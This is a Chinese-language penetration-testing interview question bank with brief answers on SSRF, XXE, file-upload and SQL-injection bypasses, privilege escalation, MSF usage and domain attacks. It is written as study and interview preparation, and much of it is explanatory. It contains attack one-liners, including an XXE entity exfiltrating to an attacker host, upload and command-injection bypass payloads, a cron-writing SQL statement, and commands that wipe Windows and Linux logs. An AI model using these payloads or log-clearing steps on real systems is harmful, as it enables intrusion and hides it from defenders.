网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库27
SSRF原理 SSRF危害 SSRF防御 文件上传分类 文件上传的突破 你了解那些中间件 XXE的原理 XXE的分类 XXE有哪些引入方式 遇到XXE的盲注怎么办 遇到过哪些框架 win提权 linux提权 数据库提权 说说SQLmap常用命令 说说nmap常用命令 说说Msf常用命令 SQL注入bypass你会那些手法 文件上传怎么绕过 命令执行怎么绕过 了解域渗透吗?说说域渗透 用python写过工具吗? python用过那些框架? 有CNVD证书吗? 打过CTF吗?有排名吗? 如何防止CSRF? img标签除了onerror属性外,还有其他获取管理员路径的办法吗? 文件包含都有哪些伪协议? 文件上传怎么突破过滤? 清理日志要清理哪些(windows和linux)
SSRF原理
- 服务端请求伪造:攻击者诱使服务器向内部或第三方系统发起请求,利用服务器权限绕过网络隔离。
- 协议支持广泛性:支持HTTP/HTTPS/FTP/Gopher等协议,Gopher可构造多协议攻击流量(如Redis未授权访问)。
- 输入点多样化:通过URL参数、文件解析(PDF/XML)、Webhook回调等触发。
SSRF危害
- 内网探测与攻击:扫描内网IP/端口(如Redis 6379、Docker 2375),攻击内网脆弱服务。
- 云元数据泄露:访问云服务器元数据接口(如AWS的
169.254.169.254
),窃取临时凭证。- 协议滥用:利用
file://
协议读取本地文件,或dict://
协议与数据库交互。
SSRF防御
- 协议白名单:仅允许HTTP/HTTPS,禁用非常用协议(如Gopher)。
- 网络隔离:限制服务器出网权限,使用VPC和防火墙策略。
- 输入校验:验证请求目标是否为合法域名,禁止IP地址和私有网段(如
10.0.0.0/8
)。
文件上传分类
- 前端校验绕过:修改请求包绕过JavaScript校验。
- 内容检测绕过:添加图片头(GIF89a)、使用图像隐写术。
- 解析漏洞利用:Apache多扩展名(
.php.jpg
)、IIS短文件名(~.php
)。
文件上传突破方式
- 双扩展名:
shell.php.jpg
绕过简单过滤。- 大小写混淆:
PhP
或pHp
绕过黑名单。- 00截断:利用空字符截断(
shell.php%00.jpg
)。
常见中间件
- Apache:解析漏洞(
.php.xxx
)、模块漏洞(mod_cgi)。- Nginx:路径解析错误(
/files../
)、配置错误导致目录遍历。- Tomcat:PUT方法上传漏洞、War包部署RCE。
XXE原理
- XML外部实体注入:通过自定义实体读取本地文件或触发SSRF。
- DTD引用:利用
<!ENTITY>
定义外部实体,引用本地或远程资源。- 盲注攻击:通过DNS/HTTP外带数据,或基于错误回显判断结果。
XXE分类
- 有回显XXE:直接读取文件内容并输出到响应中。
- 盲注XXE:无直接回显,需通过外带通道(OOB)获取数据。
- 错误型XXE:利用解析错误信息泄露数据。
XXE引入方式
- 文件上传:SVG、DOCX等XML格式文件解析触发。
- API请求:Content-Type为
application/xml
的POST数据。- SOAP服务:处理XML数据的WebService接口。
XXE盲注处理
- 外带数据:利用
http://
或ftp://
协议将数据发送到攻击者服务器。- 参数实体:通过
%
定义参数实体,绕过某些过滤规则。- DNS解析:构造实体触发DNS查询,通过日志获取信息(如
<!ENTITY % xxe SYSTEM "http://data.attacker.com">
)。
常见框架
- Spring:反序列化漏洞(CVE-2022-22965)。
- Struts2:OGNL表达式注入(如S2-045)。
- Django:模板注入(CVE-2021-45449)。
Windows提权
- 内核漏洞:利用CVE-2021-34527(PrintNightmare)获取SYSTEM权限。
- 服务配置:弱权限服务路径(DACL覆盖)、未引用的服务路径。
- 令牌窃取:使用Mimikatz抓取高权限令牌或模拟令牌。
Linux提权
- SUID滥用:查找具有SUID权限的可执行文件(如
find / -perm -4000
)。- 内核漏洞:DirtyCow(CVE-2016-5195)覆盖只读内存。
- 定时任务:利用全局可写的cron脚本插入恶意代码。
数据库提权
- MySQL UDF提权:通过
lib_mysqludf_sys
执行系统命令。- MSSQL xp_cmdshell:启用并调用
xp_cmdshell
执行命令。- PostgreSQL COPY TO:写入恶意文件到启动目录(如
COPY (SELECT 'malicious code') TO '/etc/cron.d/attack'
)。
SQLMap常用命令
- 基础检测:
sqlmap -u "http://site.com?id=1" --batch
。- 文件读写:
--file-read="/etc/passwd"
或--file-write="shell.php"
。- OS交互:
--os-shell
调用系统命令(需DB权限和绝对路径)。
Nmap常用命令
- 端口扫描:
nmap -sS -p 1-65535 192.168.1.1
(SYN扫描)。- 服务识别:
nmap -sV -sC 192.168.1.1
(版本探测+脚本检测)。- 漏洞扫描:
nmap --script vuln 192.168.1.1
。
MSF常用命令
- 模块调用:
use exploit/windows/smb/ms17_010_eternalblue
。- Payload设置:
set payload windows/x64/meterpreter/reverse_tcp
。- 会话管理:
sessions -l
查看会话,sessions -i <ID>
进入会话。
SQL注入Bypass手法
- 编码绕过:Hex编码(
0x61646D696E
代替字符串)、URL编码。- 注释符混淆:
/*!SELECT*/
绕过WAF关键字检测。- 逻辑绕过:
id=1||1=1
替代id=1 or 1=1
。
文件上传绕过方法
- Content-Type修改:
image/jpeg
伪装图片类型。- 文件头伪造:添加GIF89a或PNG头。
- .htaccess覆盖:上传
.htaccess
设置解析规则(如AddType application/x-httpd-php .jpg
)。
命令执行绕过
- 空格绕过:用
${IFS}
、%09
(Tab)或<
符号。- 拼接执行:
a=who;b=ami;$a$b
。- 通配符利用:
cat /etc/pass*
或/???/passwd
。
域渗透核心要点
- 信息收集:
nltest /dclist
获取域控列表,bloodhound
分析攻击路径。- 横向移动:Pass-the-Hash、Overpass-the-Hash、DCOM/WMI远程执行。
- 权限维持:Golden Ticket、DCShadow伪造域控数据。
Python工具开发
- 扫描工具:使用
requests
库实现目录爆破,socket
实现端口扫描。- 漏洞利用:基于
pwntools
编写缓冲区溢出Payload。- 自动化脚本:利用
Scapy
构造自定义网络包(如ARP欺骗)。
Python框架
- Flask:轻量级Web开发,常用于编写REST API。
- Django:全栈框架,内置ORM和Admin面板。
- Scrapy:爬虫框架,支持分布式和反反爬策略。
CNVD与CTF经历
- CNVD证书:需提交中危以上漏洞并通过审核(如教育行业系统漏洞)。
- CTF方向:Web、Reverse、Pwn,需团队协作和快速漏洞挖掘。
- 竞赛排名:国内知名赛事如XCTF、强网杯,国际赛事如DEF CON CTF。
CSRF防御
- Token验证:表单中嵌入随机Token,服务端校验。
- SameSite Cookie:设置
SameSite=Strict
限制跨域携带Cookie。- Referer检查:验证请求来源是否为合法域名。
img标签路径泄露
- srcset属性:通过多分辨率图片路径泄露内部URL。
- 跨域错误信息:加载失败时控制台显示404路径。
- 低权限资源引用:如
<img src="/admin/secret.jpg">
触发403/401错误,暴露管理员路径。
文件包含伪协议
- php://filter:读取文件源码(
php://filter/read=convert.base64-encode/resource=index.php
)。- data://:执行PHP代码(
data://text/plain,<?php system("id");?>
)。- phar://:触发反序列化(需上传Phar格式文件)。
文件上传过滤突破
- 多扩展名绕过:
shell.php.jpg
或shell.jpg.php
。- 大小写混合:
Shell.PhP
绕过黑名单检测。- 内容伪装:插入合法文件头(如GIF89a),后端检测绕过。
日志清理(Windows/Linux)
- Windows:
- 系统日志:
wevtutil cl Security
清除安全日志。- IIS日志:删除
%SystemDrive%\inetpub\logs\LogFiles
下的文件。- PowerShell历史:
Remove-Item (Get-PSReadlineOption).HistorySavePath
。- Linux:
- 系统日志:清空
/var/log/auth.log
、/var/log/syslog
。- 命令历史:
history -c
或删除~/.bash_history
。- Web日志:清理Apache/Nginx的
access.log
和error.log
。